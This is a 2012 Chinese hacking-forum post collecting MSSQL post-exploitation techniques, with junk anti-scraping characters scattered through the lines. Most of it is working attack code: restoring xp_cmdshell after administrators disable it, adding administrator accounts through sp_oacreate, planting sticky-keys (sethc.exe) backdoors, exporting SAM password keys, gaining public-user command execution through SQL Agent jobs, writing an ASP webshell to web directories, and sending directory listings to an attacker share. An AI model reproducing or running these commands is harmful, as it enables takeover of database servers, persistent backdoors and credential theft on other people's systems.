找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2207|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
) Z1 w: t) |) m9 m+ T恢复方法:查询分离器连接后,
0 d* G( F$ R# c: Q! `) y# ]% r第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 5 ~$ B6 y8 g8 {: w
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
% n" o4 w' m0 D然后按F5键命令执行完毕/ H( m$ e7 i2 W) K
3 G  [3 }/ S0 A1 g# C
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)- g* z8 `1 N: o% ?9 W) n5 ^
恢复方法:查询分离器连接后,& Y7 p% b9 r, W" c, `
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"5 P3 j0 O1 @  B- `- V( d
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
. N3 b, g9 e/ c+ u& E1 h" C然后按F5键命令执行完毕
) q% y" d6 n* ^: L4 Z* x/ q
3 M6 Y9 F7 V7 S3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
3 |  t  V  R& e- ~2 d恢复方法:查询分离器连接后,
4 \. I0 h+ P9 c: E. o* U; Z第一步执行:exec sp_dropextendedproc 'xp_cmdshell'- V- P# q, }+ j+ W% ^* H* @! g0 q
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
& c+ v4 }. S+ D0 k然后按F5键命令执行完毕
- L3 n: `, C% t- o: ]+ ], n: g; m9 k" @. f- @
4 终极方法.
! Q5 D8 M8 ^2 X9 t& M( z如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
6 o* Z* N% b' L% A, w! j2 l, i查询分离器连接后,
- p6 x. Q6 ~  j8 d, W. d4 A2000servser系统:4 z+ [1 ?3 G( J! d# W2 v" t
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'4 w/ K1 H2 m1 f4 m" w$ o5 Z

& l- M, k" {1 M. f& G6 I; }/ mdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add', B0 f$ o2 F; m; p" W- ?. @
8 `, B- d* Y' o  `' C) j1 K
xp或2003server系统:; }* }; F* b- `2 T
  Z9 A8 N8 o7 r2 [0 K5 j1 {4 [
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add': C. G: h* W: F; ]8 [

( M! c( w1 F/ Ideclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'2 t, t9 R- V( x

7 R* n, r5 a; x9 m! J. |1 x+ o$ t
0 V2 {) N) Y' ^( P五个SHIFT, c. o4 @# b/ E: A
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';  F% h4 @( q. ~

1 q, }! I- B% G, udeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 1 Y' q( v: t# a% Y' L1 U
$ {1 \+ f8 e/ c! s1 ?7 P
xp_cmdshell执行命令另一种方法% f# f9 t0 h# M: u3 c
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' - L+ V4 ^8 z* A1 W

3 ~2 R* T# U( r9 D5 {- d4 L判断存储扩展是否存在# B; r# E4 g2 i( F
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'3 E4 w0 g; l; Y5 s% d
返回结果为1就OK) n3 }) `4 Q9 x
8 q: }3 w" ]7 C- B& [

! @" ]6 H& ~' l5 h" x2 Q; |. L" q( S' J上传xplog70.dll恢复xp_cmdshell语句:; X: B9 i% H+ A! y
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'( _/ q% e5 H, E% |: S! D) J

7 ^0 v" p. r) b否则上传xplog7.0.dll
6 b: _# ?1 L7 S7 p; HExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'$ i  O5 p1 o5 }2 U

7 o! y8 M- F* _1 q0 J* p4 q' F7 u" e% i2 A$ \' [) K
  F' J0 d( {2 t0 O, j
首先开启沙盘模式:
2 k4 p" s" N8 O  r8 @; Z! Vexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1/ U# Q$ i8 V# W8 d5 K, h+ b

2 C' f2 q! [. S) o4 X然后利用jet.oledb执行系统命令
" A6 S4 ]3 Y& ^: S! o5 d1 u/ Hselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'): g: Y/ ^. J4 w( z8 U1 ~! z" q8 p
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
- c5 H7 P5 P0 t, b% v# i1 B
7 Z* I6 Q$ x! [! P( R6 l5 x, d* G! w+ H( `+ t' X

) G; H+ k/ \1 Q7 {& |' s恢复过程sp_addextendedproc 如下: + c/ G1 j2 r3 j' q8 l' L
create procedure sp_addextendedproc --- 1996/08/30 20:13 ) b, K7 f. G- `0 `
@functname nvarchar(517),/* (owner.)name of function to call */ 0 C2 [& \; j5 ^8 T6 q( a+ C
@dllname varchar(255)/* name of DLL containing function */ + Q7 d' u4 _( ?
as & B( O. p* f8 t" }2 h' G% n
set implicit_transactions off
& i& H' D0 }* ~if @@trancount > 0 4 B- d$ \1 E. Q% ~" b3 }
begin 3 {2 s0 z3 p1 x8 k
raiserror(15002,-1,-1,'sp_addextendedproc') 6 J: j& k) _4 r- o( ]- L
return (1) $ K" R0 R# J. s+ N
end
! V" }. {! E3 l0 q2 V8 X! Y; ^- r* O" tdbcc addextendedproc( @functname, @dllname) - E- A2 M1 b4 f5 M) d/ L" h
return (0) -- sp_addextendedproc * o0 S, k: }; b7 f9 O* S/ x
GO
7 e* R2 n; v4 l* R" H8 `6 _+ G* t- ?5 I' {/ `/ E+ W

; K  B( ?, a7 g  B! I' P+ U, N3 g3 @! @# |3 g
导出管理员密码文件
1 O4 H0 ?4 Z! l( d! ~3 k9 z) n( lsa默认可以读sam键.应该。
; w3 w0 O. f+ x$ w. n" s7 \reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
4 _1 G0 F; c5 N) h6 Xnet user administrator test, r* w4 C( B% c, c( R
用administrator登陆.9 n! E# j: C8 i, z+ ^' Y( O
用完机器后
. L: K- s" [, s. @reg import c:\test.reg# B, k: J4 T4 J1 T5 b) j1 R+ k* L4 h3 L
根本不用克隆.3 N6 h2 ^; O( O4 U/ E
找到对应的sid. 1 m! s8 q5 s/ }$ g( e& P, t! h& h

0 T% C) D) |- A: Y
5 M8 Q/ g% {) F  P  u8 k1 P
8 ~) B# F* v9 B5 D, F恢复所有存储过程. h; _6 v! C1 `* z) o
use master 8 l' ?8 j+ Y& ], R
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
7 m# I  }& C6 |; Oexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 0 a$ D# Z" [8 P3 y' `
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
) i9 Z: k8 E3 _- d7 S0 ?4 ]; l; sexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 3 O- g5 t, ~5 N9 X) c
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
* o4 ^+ x# o3 g' M8 T& @exec sp_addextendedproc sp_OACreate,'odsole70.dll'
" ]: o* g2 [2 V$ j0 P% Z  `, lexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 0 C& R/ C* T2 Q  l% g
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' & J/ O- k- V; |% B6 d) W
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
! G! \3 t8 {3 Y) b! \' j9 Y( ~( hexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
7 j- `) [0 I0 j7 U- Fexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
5 E* y0 \: o  gexec sp_addextendedproc sp_OAStop,'odsole70.dll' " f& m, B0 c" T& _8 u3 |
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
4 g) e% ?% K# P' A+ }- ?exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
; a' o( |( \( m8 qexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
" A$ e- q4 X8 I7 I7 P" G1 gexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' / ], V7 c* K4 j& i
exec sp_addextendedproc xp_regread,'xpstar.dll'
' X) }( ?6 B: Z$ Z! k! Wexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' * S, P- H/ r/ o% y+ n
exec sp_addextendedproc xp_regwrite,'xpstar.dll' ' s8 V3 j9 n1 q1 X: f% O* t+ g
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'& ^3 p0 Z2 v0 ]4 y0 n+ C' o$ ^
- D  j1 I6 B) K  l# T5 \
' y2 u9 G: S' O- t7 b5 r
建立读文件的存储过程: y/ _% ^8 U+ o# F
Create proc sp_readTextFile @filename sysname# [3 q; B0 {) \. q
as
  K3 P2 o# R, ]+ E1 z9 A& X3 u" e  G; _0 @1 {# k: I
    begin ! E% \  K, H  V
    set nocount on
8 @% C: Q- t0 h  n# D    Create table #tempfile (line varchar(8000))
) h+ J; }# V4 B6 x2 e    exec ('bulk insert #tempfile from "' + @filename + '"')
1 J' s% x5 s& S2 A  a    select * from #tempfile( P: ~+ }# a( c3 P2 J2 w( d3 ~# A- o
    drop table #tempfile
! V9 j/ k* I+ P, o  F' H2 c, F0 GEnd
4 [  `  R. c  n) J. W8 l; p7 U4 b& J5 ?" S0 q& F( r
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
, I0 o8 y% q5 z* F9 S查看登录用户# N7 F% V4 W! |1 V+ N
Select * from sysxlogins: D5 }6 f( I0 F  W5 L) y2 i0 I3 O

' n5 h$ b3 Y& o. u2 {& D把文件内容读取到表中& a. p8 a; d: A9 a  m, C. _
BULK INSERT tmp from "c:\test.txt"
, c5 c5 B( n% ]dElete from 表名 清理表里的内容
3 x, Y7 C2 n: ]+ }' B2 J( ^! A$ wcreate table b_test(fn nvarchar(4000));建一个表,字段为fn  T& ~$ X. m/ f$ A9 |

( q" ^! R# p$ q4 R+ T3 f5 |* Y+ }
% x) ?0 x! p* J) V  I" v加sa用户
, H4 a9 ~* p! Z7 B' T3 }exec master.dbo.sp_addlogin user,pass;4 S3 n* s7 l5 W/ w
exec master.dbo.sp_addsrvrolemember user,sysadmin+ Q5 k: v7 x) b' F) V" U

/ q0 ~" d7 |- D* g
1 s7 v4 C: x- p$ Y6 n0 w% l' [2 ~# E# f" g8 r. Y
读文件代码! E4 y6 Y1 |; I; a7 t) l& V
declare @o int, @f int, @t int, @ret int0 R  F9 |7 X% C2 H& R
declare @line varchar(8000)
- O6 }+ j+ q" k: k4 |exec sp_oacreate 'scripting.filesystemobject', @o out
  T2 l, v4 j# h9 Xexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
$ M% e4 }5 z  r1 S) `exec @ret = sp_oamethod @f, 'readline', @line out% d$ ?$ H  z: c0 e& }# O) A
while( @ret = 0 )- }" I# ~, K: I& o
begin
5 m% ~+ r8 |5 V* Sprint @line
; ?/ O' {7 R8 r# F1 `  kexec @ret = sp_oamethod @f, 'readline', @line out
' j2 }2 v6 u! q; @/ D: b+ ~+ Oend
! T7 R4 R, e  @( [' ~! K9 ?) {- t6 M5 D' q3 I8 I0 P

. [- I: }( u( r. n写文件代码:
6 u' U( c6 z% P4 `; ]2 Odeclare @o int, @f int, @t int, @ret int
3 }5 l8 p9 q1 J& \5 `! Iexec sp_oacreate 'scripting.filesystemobject', @o out" O+ K1 ~" p1 H! d3 v2 u
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
: c5 W, O! Y. b* i  [0 R/ Jexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》) p& w- z9 L* y! `/ o: }9 a

% h" Y0 [0 s& O. m5 _
7 n9 o  F; h& w6 f8 c  q& D添加lake2 shell
! `$ ]  Y* j( o) ^3 rsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
) @$ ^9 o! P: ?6 I" ksp_dropextendedproc xp_lake2/ K2 x1 k/ R# t5 T0 `0 Q3 _& s8 m
EXEC xp_lake2 'net user'! p$ D0 _. m" D/ Y  J. _8 `
6 `9 p6 `( @; a; Y3 v, G4 K
8 O5 ~0 ~# N/ i: r1 N- S
得到硬盘文件信息
7 g& c" g6 V1 B- y--参数说明:目录名,目录深度,是否显示文件 1 @& K3 C; b$ h% V
execute master..xp_dirtree 'c:'
* w/ B. F& |: {( zexecute master..xp_dirtree 'c:',1 / V& b/ C0 z. m3 P, R* e+ A% q
execute master..xp_dirtree 'c:',1,1 % f/ Y8 x( ^8 ?* w- k

1 `1 V: Q1 x" j8 U) O2 D
, `: w5 U& w. O+ D读serv-u配置信息2 o6 P1 E% V8 L) i4 o7 i+ j
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
  C0 ?! c9 W- xexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
$ T% h: g+ A6 q; A- B' \5 z  t2 ^9 A9 q% a
通过xp_regwrite写SHIFT后门
1 j3 H! q1 V% S# ?) h- Dexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--( O2 P* r; \) {2 n- M
9 r  C' u1 K# W

& s; \* R! f; L% i! |* W, e. n# w$ l2 Q4 J( i
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';0 p( T# r4 x' x, f$ H
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
2 @& l: V( o% i2 c9 p
% A4 n0 }" |/ I  A' y: r/ d. uEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'. M4 N3 s  D& Q% o7 y0 W
. T4 M4 @7 U& ^2 _! G# S

0 ^! W" q! e7 C2 t' F& p/ u: N
2 R* V) H8 m! l; v) _sql server 2005下开启xp_cmdshell的办法1 A9 K. L1 u* Z2 n4 T! R. e0 h2 H

& N; p, }3 |3 G1 O5 B$ IEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
& T2 [- {: H8 A, V
5 j3 x6 Q) H! K! c) P, bSQL2005开启'OPENROWSET'支持的方法:+ ?$ E3 x& Y( j
% p+ e' d) [; I& P  D0 P( z
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
# a' ^; h' w2 v8 v) ?( k3 D; b
( j* k  m/ T6 Z: E7 ISQL2005开启'sp_oacreate'支持的方法:
: A# y9 ?7 y. v- }  e% U
8 ]( P; Y4 v3 g- [- lexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
6 [! l5 P8 t+ |6 r* o4 ^' R5 A1 O' C, C, [5 `
6 i0 f, b& K4 g
6 n3 X; P& H1 [2 w- j# s4 N
6 Y5 h* Q- H* I

( P+ L% H9 E4 N, T8 Q
6 b3 b# v7 }! y7 r7 u  T+ c5 G# J

* A$ I2 u3 S9 |& r) S4 I
, Z! }( ~8 @% ?' u% O1 o( y6 z' x! n( P. Z
6 n) ^" R4 c6 P4 ]) d4 K: g( r" a
! `) U' [& T/ K
8 u/ X: O' A' I4 U

9 W* ]. Z7 V% r: l; U
, V; G3 r% O( U4 `' X0 [# m' [& B( P  H
- F) q( `3 r# M+ o
& Z9 C; c2 L- I+ J4 I9 d: D6 u9 K- ?9 l# r! Z* V

$ h" o0 v9 m4 C, r! n
- `4 X' T% p! v% B5 Z$ |3 b/ p2 y0 ?% K: g* z4 X. N# m
' L- E  s5 V4 D

: z7 ?, z& z7 |0 p3 x- T! y* ^
  x  w6 v0 s9 h" B6 v$ W以下方面不知道能不能成功暂且留下研究哈:: q7 ]$ ^, N+ L( @. v7 ~$ x
4)
3 a& A) R* s0 uuse msdb; --这儿不要是master哟
8 C$ W0 q. l9 W+ F& xexec sp_add_job @job_name= czy82 ;: Z2 ^3 u) j5 l6 M0 K# o/ ?) f
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;3 m* G3 D. s5 Y9 l" \2 P) `$ m+ s4 T
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
: S$ K5 q! ^8 {) l% F! eexec sp_start_job @job_name= czy82 ;+ n, E# Z. U3 H& Y9 r' Q

" u2 s4 j* i0 {* j0 o! t利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
1 y( z1 d! Z1 Q6 @8 s( `执行tsql语句了.
' A( g, N5 a& S3 G3 u对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名  c! U; q( T9 P/ C" f
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)) r7 h2 H, s% G/ v
net start SQLSERVERAGENT
; ], [4 `" i7 M& D+ |/ k6 @8 w# k5 D0 Q! \$ T( z
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
9 L5 y. [2 i* L; ~3 P+ mUSE msdb
% h- F0 m+ f: Q4 Z3 v4 D. q+ V4 ?EXEC sp_add_job @job_name = GetSystemOnSQL ,
( @' s0 f8 P% T4 m; F/ @7 z@enabled = 1,
! x0 Z# f$ V. u( {3 `+ J: o. k0 l@description = This will give a low privileged user access to" E4 k, |- i; f7 c
xp_cmdshell ,# v* g& S5 l* H' l$ q+ L4 M' w
@delete_level = 1
7 ]. x6 E- T( N& vEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,; O0 w0 R/ T- o+ @& @# \. w
@step_name = Exec my sql ,
* E0 X/ h$ z9 [( G' S  J@subsystem = TSQL ,
4 z" Q; [1 l$ }+ f1 H@command = exec master..xp_execresultset N select exec. M4 U$ U2 R) b2 s' i, o/ I9 `
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master " \& _! @+ U+ \6 e! u8 g$ A" I# j
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,5 ~2 V( H+ Q# k$ A
@server_name = 你的SQL的服务器名 1 s0 P( F4 R- k
EXEC sp_start_job @job_name = GetSystemOnSQL 2 Y7 ~0 U% h& {! J- ?

' I5 a; v- j" F' y不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
6 }8 Y& F% J) d5 q+ n才让我们可以以public执行xp_cmdshell* w: ]$ n7 [. m) g. S( d8 Y! ]

# N9 o/ q% x( x5 w; S! V1 @5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)+ K7 m) G8 k" @, I  g
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
9 ?# z/ w; f7 U4 i) r9 C5 V2 ^# b) @
USE msdb
4 {' W/ {. @2 K1 T! |7 GEXEC sp_add_job @job_name = ArbitraryFilecreate ,
, X, B! G  C# K& @@enabled = 1,
  E' ^8 ~. d* l6 t0 K; x@description = This will create a file called c:\sqlafc123.txt ,5 F* y+ G5 v+ H- F
@delete_level = 1
' G9 F) G7 N' uEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,& M( L5 v2 b( x3 M
@step_name = SQLAFC ,
& }# d3 e; u; J1 D$ c@subsystem = TSQL ,8 g9 a: m8 n/ ^- R" d
@command = select hello, this file was created by the SQL Agent. ,
- x: w  J0 v9 X% [$ r" p@output_file_name = c:\sqlafc123.txt
- x8 ^7 L5 ]8 m; a& g% IEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,; e  j8 k# C4 X7 c' \5 K
@server_name = SERVER_NAME
( V) A$ v! M* k: i& T1 D2 l9 y- h8 C# `EXEC sp_start_job @job_name = ArbitraryFilecreate 5 Z$ h7 t+ Y. t& ~. Z0 C) r

. ?) Z4 P: _, }7 l; t% a如果subsystem选的是:tsql,在生成的文件的头部有如下内容
8 ?8 C% o8 i" u6 E7 i  ]2 _9 x5 g$ w+ \: r+ k
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19- O3 k: b/ b) T' L9 }$ M- _" Q4 x
----------------------------------------------+ |$ G8 q, C( l5 `3 Q. [4 P" s
hello, this file was created by the SQL Agent./ b( _$ \8 C, b( E5 e8 z* ]# W
  \( |: d0 ?$ w/ ?
(1 ?????)
! A7 g& k( K0 O3 g8 r0 T4 u* O3 w8 I! @/ B: O" }
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员* g: w: d5 }/ u! `* a
命令的vbs文件到启动目录!4 `5 z3 p  I, Y/ q$ r4 B  ?/ O4 n
5 l  w  @3 m/ g
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
* @& C5 v; X/ ~7 y关于sp_MScopyscriptfile 看下面的例子5 f- f! e$ B' L
declare @command varchar(100) + B& u0 y. T- l+ x$ m5 {
declare @scripfile varchar(200)
* D. ?8 g  l8 x" dset concat_null_yields_null off + ?# O& T/ Y; {& p' Q
select @command= dir c:\ > "\\attackerip\share\dir.txt"
# {+ o$ t; k0 W& h7 }9 `! e+ d) }select @scripfile= c:\autoexec.bat > nul" | @command | rd "
0 ?0 W* g( g0 r8 z6 bexec sp_MScopyscriptfile @scripfile ,
& S% p, j, T2 T
; F9 T5 m/ N/ t( w3 n这两个东东都还在测试试哟: E! }0 `. x( q* n$ x5 x
让MSSQL的public用户得到一个本机的web shell( B7 \/ S- Q& I- l+ m0 h
) y& D0 y/ s/ W$ H4 x0 ?- B
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,$ [7 W) {0 K/ V) h! V* w
--@query= select <img src=vbscript:msgbox(now())> ! P% B$ l0 V) j
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
# b4 d5 j% u: j, T/ A@query= select 7 w. e8 a+ [; G2 P# k, N; H
<%On Error Resume Next
* l4 e/ z  I/ H" h! q% Q/ w; p4 _Set oscript = Server.createObject("wscript.SHELL")
' w% c$ y  O3 U, [; aSet oscriptNet = Server.createObject("wscript.NETWORK")
6 F  e. @! ?6 C4 ?Set oFileSys = Server.createObject("scripting.FileSystemObject")
7 Z" h( b4 o& b6 BszCMD = Request.Form(".CMD") 9 E( G$ e) u2 ]" J" O2 k0 M% u
If (szCMD <>"")Then
  }0 R8 r1 v/ ?6 B0 \szTempFile = "C:\" & oFileSys.GetTempName() ' c7 g" z0 U* k. D
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  ^4 V% \. q8 u" p; ]2 t: oSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) # c2 e( Y0 N# U. ^0 j
End If %> " {* R# i! j! Y! H5 q; Z+ ~* ]( L
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> ; ]; X7 g; Y: n  [4 d$ Z
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 0 q- X1 m0 T' z' B' q0 y5 v' V
</FORM><RE>
. M0 G, s3 I5 m& c' U* G$ Y<% If (IsObject(oFile))Then
* J9 ?# k+ e2 q! rOn Error Resume Next 1 I7 Q! b9 D  X
Response.Write Server.HTMLEncode(oFile.ReadAll)
0 G1 y. ?* v) o* {) l6 n0 ]$ h* ZoFile.Close 6 e& U' A) G) A% A: ]! P8 O
Call oFileSys.deleteFile(szTempFile, True) % J/ `% F: W. [* J& B) L
End If%> ; J/ q: k8 r& O# o5 \+ J, a
</BODY></HTML>
& u$ k/ @2 [+ `0 z3 I, y( V* T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表